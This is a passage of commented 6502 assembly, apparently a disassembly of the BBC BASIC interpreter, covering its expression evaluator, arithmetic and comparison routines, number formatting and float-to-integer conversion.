; High byte of powers of ten
L99B9:
brk
brk
brk
.byte $03
.byte $27
L99BE:
tay
jsr L92F0
lda $2D
pha
jsr LAD71
jsr L9E1D
stx $27
tay
jsr L92F0
pla
sta $38
eor $2D
sta $37
jsr LAD71
ldx #$39
jsr LBE0D
sty $3D
sty $3E
sty $3F
sty $40
lda $2D
ora $2A
ora $2B
ora $2C
beq L99A7
ldy #$20
L99F4:
dey
beq L9A38
asl $39
rol $3A
rol $3B
rol $3C
bpl L99F4
L9A01:
rol $39
rol $3A
rol $3B
rol $3C
rol $3D
rol $3E
rol $3F
rol $40
sec
lda $3D
sbc $2A
pha
lda $3E
sbc $2B
pha
lda $3F
sbc $2C
tax
lda $40
sbc $2D
bcc L9A33
sta $40
stx $3F
pla
sta $3E
pla
sta $3D
bcs L9A35
L9A33:
pla
pla
L9A35:
dey
bne L9A01
L9A38:
rts
L9A39:
stx $27
jsr LBDEA
jsr LBD51
jsr LA2BE
jsr LA21E
jsr LBD7E
jsr LA3B5
jmp L9A62
L9A50:
jsr LBD51
jsr L9C42
stx $27
tay
jsr L92FD
jsr LBD7E
L9A5F:
jsr LA34E
; Compare FPA = FPB
; -----------------
L9A62:
ldx $27
ldy #$00
lda $3B
and #$80
sta $3B
lda $2E
and #$80
cmp $3B
bne L9A92
lda $3D
cmp $30
bne L9A93
lda $3E
cmp $31
bne L9A93
lda $3F
cmp $32
bne L9A93
lda $40
cmp $33
bne L9A93
lda $41
cmp $34
bne L9A93
L9A92:
rts
L9A93:
ror a
eor $3B
rol a
lda #$01
rts
L9A9A:
jmp L8C0E ; Jump to 'Type mismatch' error
; Evaluate next expression and compare with previous
; --------------------------------------------------
L9A9D:
txa
L9A9E:
beq L9AE7 ; Jump if current is string
bmi L9A50 ; Jump if current is float
jsr LBD94 ; Stack integer
jsr L9C42 ; Evaluate next expression
tay
beq L9A9A ; Error if string
bmi L9A39 ; Float, jump to compare floats
; Compare IntA with top of stack
; ------------------------------
lda $2D
eor #$80
sta $2D
sec
ldy #$00
lda ($04),y
sbc $2A
sta $2A
iny
lda ($04),y
sbc $2B
sta $2B
iny
lda ($04),y
sbc $2C
sta $2C
iny
lda ($04),y
ldy #$00
eor #$80
sbc $2D
ora $2A
ora $2B
ora $2C
php ; Drop integer from stack
clc
lda #$04
adc $04
sta $04
bcc L9AE5
inc $05
L9AE5:
plp
rts
; Compare string with next expression
; -----------------------------------
L9AE7:
jsr LBDB2
jsr L9C42
tay
bne L9A9A
stx $37
ldx $36
ldy #$00
lda ($04),y
sta $39
cmp $36
bcs L9AFF
tax
L9AFF:
stx $3A
ldy #$00
L9B03:
cpy $3A
beq L9B11
iny
lda ($04),y
cmp $05FF,y
beq L9B03
bne L9B15
L9B11:
lda $39
cmp $36
L9B15:
php
jsr LBDDC
ldx $37
plp
rts
; EXPRESSION EVALUATOR
; ====================
; Evaluate expression at PtrA
; ---------------------------
L9B1D:
lda $0B ; Copy PtrA to PtrB
sta $19
lda $0C
sta $1A
lda $0A
sta $1B
; Evaluate expression at PtrB
; ---------------------------
; TOP LEVEL EVALUATOR
;
; Evaluator Level 7 - OR, EOR
; ---------------------------
L9B29:
jsr L9B72 ; Call Evaluator Level 6 - AND
; Returns A=type, value in IntA/FPA/StrA, X=next char
L9B2C:
cpx #tknOR ; Jump if next char is OR
beq L9B3A
cpx #tknEOR ; Jump if next char is EOR
beq L9B55
dec $1B ; Step PtrB back to last char
tay
sta $27
rts
; OR numeric
; ----------
L9B3A:
jsr L9B6B ; Stack as integer, call Evaluator Level 6
tay
jsr L92F0 ; If float, convert to integer
ldy #$03
L9B43:
lda ($04),y ; OR IntA with top of stack
ora $002A,y
sta $002A,y ; Store result in IntA
dey
bpl L9B43
L9B4E:
jsr LBDFF ; Drop integer from stack
lda #$40
bne L9B2C ; Return type=Int, jump to check for more OR/EOR
; EOR numeric
; -----------
L9B55:
jsr L9B6B
tay
jsr L92F0 ; If float, convert to integer
ldy #$03
L9B5E:
lda ($04),y ; EOR IntA with top of stack
eor $002A,y
sta $002A,y ; Store result in IntA
dey
bpl L9B5E
bmi L9B4E ; Jump to drop from stack and continue
; Stack current as integer, evaluate another Level 6
; --------------------------------------------------
L9B6B:
tay ; If float, convert to integer, push into stack
jsr L92F0
jsr LBD94
; Evaluator Level 6 - AND
; -----------------------
L9B72:
jsr L9B9C ; Call Evaluator Level 5, < <= = >= > <>
L9B75:
cpx #tknAND ; Return if next char not AND
beq L9B7A
rts
; AND numeric
; -----------
L9B7A:
tay ; If float, convert to integer, push onto stack
jsr L92F0
jsr LBD94
jsr L9B9C ; Call Evaluator Level 5, < <= = >= > <>
tay ; If float, convert to integer
jsr L92F0
ldy #$03
L9B8A:
lda ($04),y ; AND IntA with top of stack
and $002A,y
sta $002A,y ; Store result in IntA
dey
bpl L9B8A
jsr LBDFF ; Drop integer from stack
lda #$40 ; Return type=Int, jump to check for another AND
bne L9B75
; Evaluator Level 5 - >... =... or <...
; -------------------------------------
L9B9C:
jsr L9C42 ; Call Evaluator Level 4, + -
cpx #'>'+1 ; Larger than '>', return
bcs L9BA7
cpx #'<' ; Smaller than '<', return
bcs L9BA8
L9BA7:
rts
; >... =... or <...
; -----------------
L9BA8:
beq L9BC0 ; Jump with '<'
cpx #'>' ; Jump with '>'
beq L9BE8 ; Must be '='
; = numeric
; ---------
tax ; Jump with result=0 for not equal
jsr L9A9E
bne L9BB5
L9BB4:
dey ; Decrement to &FF for equal
L9BB5:
sty $2A ; Store 0/-1 in IntA
sty $2B
sty $2C
sty $2D ; Return type=Int
lda #$40
rts
; < <= <>
; -------
L9BC0:
tax ; Get next char from PtrB
ldy $1B
lda ($19),y
cmp #'=' ; Jump for <=
beq L9BD4
cmp #'>' ; Jump for <>
beq L9BDF
; Must be < numeric
; -----------------
jsr L9A9D ; Evaluate next and compare
bcc L9BB4 ; Jump to return TRUE if <, FALSE if not <
bcs L9BB5
; <= numeric
; ----------
L9BD4:
inc $1B ; Step past '=', evaluate next and compare
jsr L9A9D
beq L9BB4 ; Jump to return TRUE if =, TRUE if <
bcc L9BB4
bcs L9BB5 ; Jump to return FALSE otherwise
; <> numeric
; ----------
L9BDF:
inc $1B ; Step past '>', evaluate next and compare
jsr L9A9D
bne L9BB4 ; Jump to return TRUE if <>, FALSE if =
beq L9BB5
; > >=
; ----
L9BE8:
tax ; Get next char from PtrB
ldy $1B
lda ($19),y
cmp #'=' ; Jump for >=
beq L9BFA
; > numeric
; ---------
jsr L9A9D ; Evaluate next and compare
beq L9BB5 ; Jump to return FALSE if =, TRUE if >
bcs L9BB4
bcc L9BB5 ; Jump to return FALSE if <
; >= numeric
; ----------
L9BFA:
inc $1B ; Step past '=', evaluate next and compare
jsr L9A9D
bcs L9BB4 ; Jump to return TRUE if >=, FALSE if <
bcc L9BB5
L9C03:
brk
.byte $13, "String too long"
brk
; String addition
; ---------------
L9C15:
jsr LBDB2 ; Stack string, call Evaluator Level 2
jsr L9E20
tay ; string + number, jump to 'Type mismatch' error
bne L9C88
clc
stx $37
ldy #$00 ; Get stacked string length
lda ($04),y
adc $36 ; If added string length >255, jump to error
bcs L9C03
tax ; Save new string length
pha
ldy $36
L9C2D:
lda $05FF,y ; Move current string up in string buffer
sta $05FF,x
dex
dey
bne L9C2D
jsr LBDCB ; Unstack string to start of string buffer
pla ; Set new string length
sta $36
ldx $37
tya ; Set type=string, jump to check for more + or -
beq L9C45
; Evaluator Level 4, + -
; ----------------------
L9C42:
jsr L9DD1 ; Call Evaluator Level 3, * / DIV MOD
L9C45:
cpx #'+' ; Jump with addition
beq L9C4E
cpx #'-' ; Jump with subtraction
beq L9CB5
rts
; + <value>
; ---------
L9C4E:
tay ; Jump if current value is a string
beq L9C15
bmi L9C8B ; Jump if current value is a float
; Integer addition
; ----------------
jsr L9DCE ; Stack current and call Evaluator Level 3
tay ; If int + string, jump to 'Type mismatch' error
beq L9C88
bmi L9CA7 ; If int + float, jump ...
ldy #$00
clc ; Add top of stack to IntA
lda ($04),y
adc $2A
sta $2A
iny ; Store result in IntA
lda ($04),y
adc $2B
sta $2B
iny
lda ($04),y
adc $2C
sta $2C
iny
lda ($04),y
adc $2D
L9C77:
sta $2D
clc
lda $04 ; Drop integer from stack
adc #$04
sta $04
lda #$40 ; Set result=integer, jump to check for more + or -
bcc L9C45
inc $05
bcs L9C45
L9C88:
jmp L8C0E ; Jump to 'Type mismatch' error
;Real addition
;-------------
L9C8B:
jsr LBD51 ; Stack float, call Evaluator Level 3
jsr L9DD1
tay ; float + string, jump to 'Type mismatch' error
beq L9C88
stx $27 ; float + float, skip conversion
bmi L9C9B
jsr LA2BE ; float + int, convert int to float
L9C9B:
jsr LBD7E ; Pop float from stack, point FPTR to it
jsr LA500 ; Unstack float to FPA2 and add to FP1A
L9CA1:
ldx $27 ; Get next char back
lda #$FF ; Set result=float, loop to check for more + or -
bne L9C45
; int + float
; -----------
L9CA7:
stx $27 ; Unstack integer to IntA
jsr LBDEA
jsr LBD51 ; Stack float, convert integer in IntA to float in FPA1
jsr LA2BE
jmp L9C9B ; Jump to do float + <stacked float>
; - numeric
; ---------
L9CB5:
tay ; If current value is a string, jump to error
beq L9C88
bmi L9CE1 ; Jump if current value is a float
; Integer subtraction
; -------------------
jsr L9DCE ; Stack current and call Evaluator Level 3
tay ; int + string, jump to error
beq L9C88
bmi L9CFA ; int + float, jump to convert and do real subtraction
sec
ldy #$00
lda ($04),y
sbc $2A
sta $2A
iny ; Subtract IntA from top of stack
lda ($04),y
sbc $2B
sta $2B
iny ; Store in IntA
lda ($04),y
sbc $2C
sta $2C
iny
lda ($04),y
sbc $2D
jmp L9C77 ; Jump to pop stack and loop for more + or -
; Real subtraction
; ----------------
L9CE1:
jsr LBD51 ; Stack float, call Evaluator Level 3
jsr L9DD1
tay ; float - string, jump to 'Type mismatch' error
beq L9C88
stx $27 ; float - float, skip conversion
bmi L9CF1
jsr LA2BE ; float - int, convert int to float
L9CF1:
jsr LBD7E ; Pop float from stack and point FPTR to it
jsr LA4FD ; Unstack float to FPA2 and subtract it from FPA1
jmp L9CA1 ; Jump to set result and loop for more + or -
; int - float
; -----------
L9CFA:
stx $27 ; Unstack integer to IntA
jsr LBDEA
jsr LBD51 ; Stack float, convert integer in IntA to float in FPA1
jsr LA2BE
jsr LBD7E ; Pop float from stack, point FPTR to it
jsr LA4D0 ; Subtract FPTR float from FPA1 float
jmp L9CA1 ; Jump to set result and loop for more + or -
L9D0E:
jsr LA2BE
L9D11:
jsr LBDEA
jsr LBD51
jsr LA2BE
jmp L9D2C
L9D1D:
jsr LA2BE
L9D20:
jsr LBD51
jsr L9E20
stx $27
tay
jsr L92FD
L9D2C:
jsr LBD7E
jsr LA656
lda #$FF
ldx $27
jmp L9DD4
L9D39:
jmp L8C0E
; * <value>
; ---------
L9D3C:
tay ; If current value is string, jump to error
beq L9D39
bmi L9D20 ; Jump if current value is a float
lda $2D
cmp $2C
bne L9D1D
tay
beq L9D4E
cmp #$FF
bne L9D1D
L9D4E:
eor $2B
bmi L9D1D
jsr L9E1D
stx $27
tay
beq L9D39
bmi L9D11
lda $2D
cmp $2C
bne L9D0E
tay
beq L9D69
cmp #$FF
bne L9D0E
L9D69:
eor $2B
bmi L9D0E
lda $2D
pha
jsr LAD71
ldx #$39
jsr LBE44
jsr LBDEA
pla
eor $2D
sta $37
jsr LAD71
ldy #$00
ldx #$00
sty $3F
sty $40
L9D8B:
lsr $3A
ror $39
bcc L9DA6
clc
tya
adc $2A
tay
txa
adc $2B
tax
lda $3F
adc $2C
sta $3F
lda $40
adc $2D
sta $40
L9DA6:
asl $2A
rol $2B
rol $2C
rol $2D
lda $39
ora $3A
bne L9D8B
sty $3D
stx $3E
lda $37
php
L9DBB:
ldx #$3D
L9DBD:
jsr LAF56
plp
bpl L9DC6
jsr LAD93
L9DC6:
ldx $27
jmp L9DD4
; * <value>
; ---------
L9DCB:
jmp L9D3C ; Bounce back to multiply code
; Stack current value and continue in Evaluator Level 3
; -------------------------------------------------------
L9DCE:
jsr LBD94
; Evaluator Level 3, * / DIV MOD
; ------------------------------
L9DD1:
jsr L9E20 ; Call Evaluator Level 2, ^
L9DD4:
cpx #'*' ; Jump with multiply
beq L9DCB
cpx # '/' ; Jump with divide
beq L9DE5
cpx #tknMOD ; Jump with MOD
beq L9E01
cpx #tknDIV ; Jump with DIV
beq L9E0A
rts
;/ <value>
;---------
L9DE5:
tay ; Ensure current value is real
jsr L92FD
jsr LBD51 ; Stack float, call Evaluator Level 2
jsr L9E20
stx $27 ; Ensure current value is real
tay
jsr L92FD
jsr LBD7E ; Unstack to FPTR, call divide routine
jsr LA6AD
ldx $27 ; Set result, loop for more * / MOD DIV
lda #$FF
bne L9DD4
;MOD <value>
; -----------
L9E01:
jsr L99BE ; Ensure current value is integer
lda $38
php
jmp L9DBB ; Jump to MOD routine
; DIV <value>
; -----------
L9E0A:
jsr L99BE ; Ensure current value is integer
rol $39 ; Multiply IntA by 2
rol $3A
rol $3B
rol $3C
bit $37
php
ldx #$39 ; Jump to DIV routine
jmp L9DBD
; Stack current integer and evaluate another Level 2
; --------------------------------------------------
L9E1D:
jsr LBD94 ; Stack integer
; Evaluator Level 2, ^
; --------------------
L9E20:
jsr LADEC ; Call Evaluator Level 1, - + NOT function ( ) ? ! $ | "
L9E23:
pha
L9E24:
ldy $1B ; Get character
inc $1B
lda ($19),y
cmp #' ' ; Skip spaces
beq L9E24
tax
pla
cpx #'^' ; Return if not ^
beq L9E35
rts
; ^ <value>
; ---------
L9E35:
tay ; Ensure current value is a float
jsr L92FD
jsr LBD51 ; Stack float, evaluate a real
jsr L92FA
lda $30
cmp #$87
bcs L9E88
jsr LA486
bne L9E59
jsr LBD7E
jsr LA3B5
lda $4A
jsr LAB12
lda #$FF ; Set result=real, loop to check for more ^
bne L9E23
L9E59:
jsr LA381
lda $04
sta $4B
lda $05
sta $4C
jsr LA3B5
lda $4A
jsr LAB12
L9E6C:
jsr LA37D
jsr LBD7E
jsr LA3B5
jsr LA801
jsr LAAD1
jsr LAA94
jsr LA7ED
jsr LA656
lda #$FF ; Set result=real, loop to check for more ^
bne L9E23
L9E88:
jsr LA381
jsr LA699
bne L9E6C
;Convert number to hex string
;----------------------------
L9E90:
tya ; Convert real to integer
bpl L9E96
jsr LA3E4
L9E96:
ldx #$00
ldy #$00
L9E9A:
lda $002A,y ; Expand four bytes into eight digits
pha
and #$0F
sta $3F,x
pla
lsr a
lsr a
lsr a
lsr a
inx
sta $3F,x
inx
iny
cpy #$04 ; Loop for four bytes
bne L9E9A
L9EB0:
dex ; No digits left, output a single zero
beq L9EB7
lda $3F,x ; Skip leading zeros
beq L9EB0
L9EB7:
lda $3F,x ; Get byte from workspace
cmp #$0A
bcc L9EBF
adc #$06
L9EBF:
adc #'0' ; Convert to digit and store in buffer
jsr LA066
dex
bpl L9EB7
rts
; Output nonzero real number
; --------------------------
L9EC8:
bpl L9ED1 ; Jump forward if positive
lda #'-' ; A='-', clear sign flag
sta $2E
jsr LA066 ; Add '-' to string buffer
L9ED1:
lda $30 ; Get exponent
cmp #$81 ; If m*2^1 or larger, number>=1, jump to output it
bcs L9F25
jsr LA1F4 ; FloatA=FloatA*10
dec $49
jmp L9ED1
; Convert numeric value to string
; ===============================
; On entry, FloatA (&2E-&35) = number
; or IntA (&2A-&2D) = number
; Y = type
; @% = print format
; &15.b7 set if hex
; Uses, &37=format type 0/1/2=G/E/F
; &38=max digits
; &49
; On exit, StrA contains string version of number
; &36=string length
;
L9EDF:
ldx $0402 ; Get format byte
cpx #$03 ; If <3, ok - use it
bcc L9EE8
ldx #$00 ; If invalid, &00 for General format
L9EE8:
stx $37 ; Store format type
lda $0401 ; If digits=0, jump to check format
beq L9EF5
cmp #$0A ; If 10+ digits, jump to use 10 digits
bcs L9EF9
bcc L9EFB ; If <10 digits, use specified number
L9EF5:
cpx #$02 ; If fixed format, use zero digits
beq L9EFB
; STR$ enters here to use general format
; --------------------------------------
L9EF9:
lda #$0A ; Otherwise, default to ten digits
L9EFB:
sta $38 ; Store digit length
sta $4E
lda #$00 ; Set initial output length to 0, initial exponent to 0
sta $36
sta $49
bit $15 ; Jump for hex conversion if &15.b7 set
bmi L9E90
tya ; Convert integer to real
bmi L9F0F
jsr LA2BE
L9F0F:
jsr LA1DA ; Get -1/0/+1 sign, jump if not zero to output nonzero number
bne L9EC8
lda $37 ; If not General format, output fixed or exponential zero
bne L9F1D
lda #'0' ; Store single '0' into string buffer and return
jmp LA066
L9F1D:
jmp L9F9C ; Jump to output zero in fixed or exponential format
L9F20:
jsr LA699 ; FloatA=1.0
bne L9F34
; FloatA now is >=1, check that it is <10
; ---------------------------------------
L9F25:
cmp #$84 ; Exponent<4, FloatA<10, jump to convert it
bcc L9F39
bne L9F31 ; Exponent<>4, need to divide it
lda $31 ; Get mantissa top byte
cmp #$A0 ; Less than &A0, less than ten, jump to convert it
bcc L9F39
L9F31:
jsr LA24D ; FloatA=FloatA / 10
L9F34:
inc $49 ; Jump back to get the number >=1 again
jmp L9ED1
; FloatA is now between 1 and 9.999999999
; ---------------------------------------
L9F39:
lda $35 ; Copy FloatA to FloatTemp at &27/&046C
sta $27
jsr LA385
lda $4E ; Get number of digits
sta $38
ldx $37 ; Get print format
cpx #$02 ; Not fixed format, jump to do exponent/general
bne L9F5C
adc $49
bmi L9FA0
sta $38
cmp #$0B
bcc L9F5C
lda #$0A
sta $38
lda #$00
sta $37
L9F5C:
jsr LA686 ; Clear FloatA
lda #$A0
sta $31
lda #$83
sta $30
ldx $38
beq L9F71
L9F6B:
jsr LA24D ; FloatA=FloatA/10
dex
bne L9F6B
L9F71:
jsr LA7F5 ; Point to &46C
jsr LA34E ; Unpack to FloatB
lda $27
sta $42
jsr LA50B ; Add
L9F7E:
lda $30
cmp #$84
bcs L9F92
ror $31
ror $32
ror $33
ror $34
ror $35
inc $30
bne L9F7E
L9F92:
lda $31
cmp #$A0
bcs L9F20
lda $38
bne L9FAD
; Output zero in Exponent or Fixed format
; ---------------------------------------
L9F9C:
cmp #$01
beq L9FE6
L9FA0:
jsr LA686 ; Clear FloatA
lda #$00
sta $49
lda $4E
sta $38
inc $38
L9FAD:
lda #$01
cmp $37
beq L9FE6
ldy $49
bmi L9FC3
cpy $38
bcs L9FE6
lda #$00
sta $49
iny
tya
bne L9FE6
L9FC3:
lda $37
cmp #$02
beq L9FCF
lda #$01
cpy #$FF
bne L9FE6
L9FCF:
lda #'0' ; Output '0'
jsr LA066
lda #'.' ; Output '.'
jsr LA066
lda #'0' ; Prepare '0'
L9FDB:
inc $49
beq L9FE4
jsr LA066 ; Output
bne L9FDB
L9FE4:
lda #$80
L9FE6:
sta $4E
L9FE8:
jsr LA040
dec $4E
bne L9FF4
lda #$2E
jsr LA066
L9FF4:
dec $38
bne L9FE8
ldy $37
dey
beq LA015
dey
beq LA011
ldy $36
LA002:
dey
lda $0600,y
cmp #'0'
beq LA002
cmp #'.'
beq LA00F
iny
LA00F:
sty $36
LA011:
lda $49
beq LA03F
LA015:
lda #'E' ; Output 'E'
jsr LA066
lda $49
bpl LA028
lda #'-' ; Output '-'
jsr LA066
sec
lda #$00
sbc $49 ; Negate
LA028:
jsr LA052
lda $37
beq LA03F
lda #$20
ldy $49
bmi LA038
jsr LA066
LA038:
cpx #$00
bne LA03F
jmp LA066
LA03F:
rts
LA040:
lda $31
lsr a
lsr a
lsr a
lsr a
jsr LA064
lda $31
and #$0F
sta $31
jmp LA197
LA052:
ldx #$FF
sec
LA055:
inx
sbc #$0A
bcs LA055
adc #$0A
pha
txa
beq LA063
jsr LA064
LA063:
pla
LA064:
ora #'0'
; Store character in string buffer
; --------------------------------
LA066:
stx $3B ; Store character
ldx $36
sta $0600,x
ldx $3B ; Increment string length
inc $36
rts
LA072:
clc
stx $35
jsr LA1DA
lda #$FF
rts
; Scan decimal number
; -------------------
LA07B:
ldx #$00 ; Clear FloatA
stx $31
stx $32
stx $33
stx $34
stx $35
stx $48 ; Clear 'Decimal point' flag
stx $49
cmp #'.' ; Leading decimal point
beq LA0A0
cmp #'9'+1 ; Not a decimal digit, finish
bcs LA072
sbc #'0'-1 ; Convert to binary, if not digit finish
bmi LA072
sta $35 ; Store digit
LA099:
iny ; Get next character
lda ($19),y
cmp #'.' ; Not decimal point
bne LA0A8
LA0A0:
lda $48 ; Already got decimal point,
bne LA0E8
inc $48 ; Set Decimal Point flag, loop for next
bne LA099
LA0A8:
cmp #'E' ; Jump to scan exponent
beq LA0E1
cmp #'9'+1 ; Not a digit, jump to finish
bcs LA0E8
sbc #'0'-1 ; Not a digit, jump to finish
bcc LA0E8
ldx $31 ; Get mantissa top byte
cpx #$18 ; If <25, still small enough to add to
bcc LA0C2
ldx $48 ; Decimal point found, skip digits to end of number
bne LA099
inc $49 ; No decimal point, increment exponent and skip digits
bcs LA099
LA0C2:
ldx $48
beq LA0C8
dec $49 ; Decimal point found, decrement exponent
LA0C8:
jsr LA197 ; Multiply FloatA by 10
adc $35 ; Add digit to mantissa low byte
sta $35
bcc LA099 ; No overflow
inc $34 ; Add carry through mantissa
bne LA099
inc $33
bne LA099
inc $32
bne LA099
inc $31 ; Loop to check next digit
bne LA099
; Deal with Exponent in scanned number
; ------------------------------------
LA0E1:
jsr LA140 ; Scan following number
adc $49 ; Add to current exponent
sta $49
; End of number found
; -------------------
LA0E8:
sty $1B ; Store PtrB offset
lda $49 ; Check exponent and 'decimal point' flag
ora $48
beq LA11F ; No exponent, no decimal point, return integer
jsr LA1DA
beq LA11B
LA0F5:
lda #$A8
sta $30
lda #$00
sta $2F
sta $2E
jsr LA303
lda $49
bmi LA111
beq LA118
LA108:
jsr LA1F4
dec $49
bne LA108
beq LA118
LA111:
jsr LA24D
inc $49
bne LA111
LA118:
jsr LA65C
LA11B:
sec
lda #$FF
rts
LA11F:
lda $32
sta $2D
and #$80
ora $31
bne LA0F5
lda $35
sta $2A
lda $34
sta $2B
lda $33
sta $2C
lda #$40
sec
rts
LA139:
jsr LA14B ; Scan following number
eor #$FF ; Negate it, return CS=Ok
sec
rts
; Scan exponent, allows E E+ E- followed by one or two digits
; -----------------------------------------------------------
LA140:
iny ; Get next character
lda ($19),y
cmp #'-' ; If '-', jump to scan and negate
beq LA139
cmp #'+' ; If '+', just step past
bne LA14E
LA14B:
iny ; Get next character
lda ($19),y
LA14E:
cmp #'9'+1 ; Not a digit, exit with CC and A=0
bcs LA174
sbc #'0'-1 ; Not a digit, exit with CC and A=0
bcc LA174
sta $4A ; Store exponent digit
iny ; Get next character
lda ($19),y
cmp #'9'+1 ; Not a digit, exit with CC and A=exp
bcs LA170
sbc #'0'-1 ; Not a digit, exit with CC and A=exp
bcc LA170
iny ; Step past digit, store current digit
sta $43
lda $4A ; Get current exponent
asl a ; exp=exp*10
asl a
adc $4A
asl a ; exp=exp*10+digit
adc $43
rts
LA170:
lda $4A ; Get exp and return CC=Ok
clc
rts
LA174:
lda #$00 ; Return exp=0 and CC=Ok
clc
rts
LA178:
lda $35
adc $42
sta $35
lda $34
adc $41
sta $34
lda $33
adc $40
sta $33
lda $32
adc $3F
sta $32
lda $31
adc $3E
sta $31
rts
LA197:
pha
ldx $34
lda $31
pha
lda $32
pha
lda $33
pha
lda $35
asl a
rol $34
rol $33
rol $32
rol $31
asl a
rol $34
rol $33
rol $32
rol $31
adc $35
sta $35
txa
adc $34
sta $34
pla
adc $33
sta $33
pla
adc $32
sta $32
pla
adc $31
asl $35
rol $34
rol $33
rol $32
rol a
sta $31
pla
rts
LA1DA:
lda $31
ora $32
ora $33
ora $34
ora $35
beq LA1ED
lda $2E
bne LA1F3
lda #$01
rts
LA1ED:
sta $2E
sta $30
sta $2F
LA1F3:
rts
LA1F4:
clc
lda $30
adc #$03
sta $30
bcc LA1FF
inc $2F
LA1FF:
jsr LA21E
jsr LA242
jsr LA242
LA208:
jsr LA178
LA20B:
bcc LA21D
ror $31
ror $32
ror $33
ror $34
ror $35
inc $30
bne LA21D
inc $2F
LA21D:
rts
LA21E:
lda $2E
LA220:
sta $3B
lda $2F
sta $3C
lda $30
sta $3D
lda $31
sta $3E
lda $32
sta $3F
lda $33
sta $40
lda $34
sta $41
lda $35
sta $42
rts
LA23F:
jsr LA21E
LA242:
lsr $3E
ror $3F
ror $40
ror $41
ror $42
rts
LA24D:
sec
lda $30
sbc #$04
sta $30
bcs LA258
dec $2F
LA258:
jsr LA23F
jsr LA208
jsr LA23F
jsr LA242
jsr LA242
jsr LA242
jsr LA208
lda #$00
sta $3E
lda $31
sta $3F
lda $32
sta $40
lda $33
sta $41
lda $34
sta $42
lda $35
rol a
jsr LA208
lda #$00
sta $3E
sta $3F
lda $31
sta $40
lda $32
sta $41
lda $33
sta $42
lda $34
rol a
jsr LA208
lda $32
rol a
lda $31
LA2A4:
adc $35
sta $35
bcc LA2BD
inc $34
bne LA2BD
inc $33
bne LA2BD
inc $32
bne LA2BD
inc $31
bne LA2BD
jmp LA20B
LA2BD:
rts
LA2BE:
ldx #$00
stx $35
stx $2F
lda $2D
bpl LA2CD
jsr LAD93
ldx #$FF
LA2CD:
stx $2E
lda $2A
sta $34
lda $2B
sta $33
lda $2C
sta $32
lda $2D
sta $31
lda #$A0
sta $30
jmp LA303
LA2E6:
sta $2E
sta $30
sta $2F
LA2EC:
rts
LA2ED:
pha
jsr LA686
pla
beq LA2EC
bpl LA2FD
sta $2E
lda #$00
sec
sbc $2E
LA2FD:
sta $31
lda #$88
sta $30
LA303:
lda $31
bmi LA2EC
ora $32
ora $33
ora $34
ora $35
beq LA2E6
lda $30
LA313:
ldy $31
bmi LA2EC
bne LA33A
ldx $32
stx $31
ldx $33
stx $32
ldx $34
stx $33
ldx $35
stx $34
sty $35
sec
sbc #$08
sta $30
bcs LA313
dec $2F
bcc LA313
LA336:
ldy $31
bmi LA2EC
LA33A:
asl $35
rol $34
rol $33
rol $32
rol $31
sbc #$00
sta $30
bcs LA336
dec $2F
bcc LA336
LA34E:
ldy #$04
lda ($4B),y
sta $41
dey
lda ($4B),y
sta $40
dey
lda ($4B),y
sta $3F
dey
lda ($4B),y
sta $3B
dey
sty $42
sty $3C
lda ($4B),y
sta $3D
ora $3B
ora $3F
ora $40
ora $41
beq LA37A
lda $3B
ora #$80
LA37A:
sta $3E
rts
LA37D:
lda #$71
bne LA387
LA381:
lda #$76
bne LA387
LA385:
lda #$6C
LA387:
sta $4B
lda #$04
sta $4C
LA38D:
ldy #$00
lda $30
sta ($4B),y
iny
lda $2E
and #$80
sta $2E
lda $31
and #$7F
ora $2E
sta ($4B),y
lda $32
iny
sta ($4B),y
lda $33
iny
sta ($4B),y
lda $34
iny
sta ($4B),y
rts
LA3B2:
jsr LA7F5
LA3B5:
ldy #$04
lda ($4B),y
sta $34
dey
lda ($4B),y
sta $33
dey
lda ($4B),y
sta $32
dey
lda ($4B),y
sta $2E
dey
lda ($4B),y
sta $30
sty $35
sty $2F
ora $2E
ora $32
ora $33
ora $34
beq LA3E1
lda $2E
ora #$80
LA3E1:
sta $31
rts
; Convert real to integer
; =======================
LA3E4:
jsr LA3FE ; Convert real to integer
LA3E7:
lda $31 ; Copy to Integer Accumulator
sta $2D
lda $32
sta $2C
lda $33
sta $2B
lda $34
sta $2A
rts
LA3F8:
jsr LA21E ; Copy FloatA to FloatB
jmp LA686 ; Set FloatA to zero and return
; Convert float to integer
; ========================
; On entry, FloatA (&30-&34) holds a float
; On exit, FloatA (&30-&34) holds integer part
; ---------------------------------------------
; The real value is partially denormalised by repeatedly dividing the mantissa
; by 2 and incrementing the exponent to multiply the number by 2, until the
; exponent is &80, indicating that we have got to mantissa * 2^0.
;
LA3FE:
lda $30 ; Exponent<&80, number<1, jump to return 0
bpl LA3F8
jsr LA453 ; Set &3B-&42 to zero
jsr LA1DA
bne LA43C
beq LA468
LA40C:
lda $30 ; Get exponent
cmp #$A0 ; Exponent is +32, float has been denormalised to an integer
bcs LA466
cmp #$99
bcs LA43C
adc #$08
sta $30
lda $40
sta $41
lda $3F
sta $40
lda $3E
sta $3F
lda $34
sta $3E
lda $33 ; Divide mantissa by 2^8
sta $34
lda $32
sta $33
lda $31
sta $32
lda #$00
sta $31
beq LA40C ; Loop to keep dividing
LA43C:
lsr $31
ror $32
ror $33
ror $34
ror $3E
ror $3F
ror $40
ror $41
inc $30
bne LA40C
LA450:
jmp LA66C
LA453:
lda #$00
sta $3B
sta $3C
sta $3D
sta $3E
sta $3F
sta $40
sta $41
sta $42
rts
LA466:
bne LA450 ; Exponent>32, jump to 'Too big' error
LA468:
lda $2E ; If positive, jump to return
bpl LA485
LA46C:
sec ; Negate the mantissa to get integer
lda #$00
sbc $34
sta $34
lda #$00
sbc $33
sta $33
lda #$00
sbc $32
sta $32
lda #$00
sbc $31
sta $31
LA485:
rts
LA486:
lda $30
bmi LA491
lda #$00
sta $4A
jmp LA1DA
LA491:
jsr LA3FE
lda $34
sta $4A
jsr LA4E8
lda #$80
sta $30
ldx $31
bpl LA4B3
eor $2E
sta $2E
bpl LA4AE
inc $4A
jmp LA4B0
LA4AE:
dec $4A
LA4B0:
jsr LA46C
LA4B3:
jmp LA303
LA4B6:
inc $34
bne LA4C6
inc $33
bne LA4C6
inc $32
bne LA4C6
inc $31
beq LA450
LA4C6:
rts
LA4C7:
jsr LA46C
jsr LA4B6
jmp LA46C
LA4D0 :
jsr LA4FD
jmp LAD7E
LA4D6:
jsr LA34E
jsr LA38D
LA4DC:
lda $3B
sta $2E
lda $3C
sta $2F
lda $3D
sta $30
LA4E8:
lda $3E
sta $31
lda $3F
sta $32
lda $40
sta $33
lda $41
sta $34
lda $42
sta $35
LA4FC:
rts
LA4FD:
jsr LAD7E
LA500:
jsr LA34E
beq LA4FC
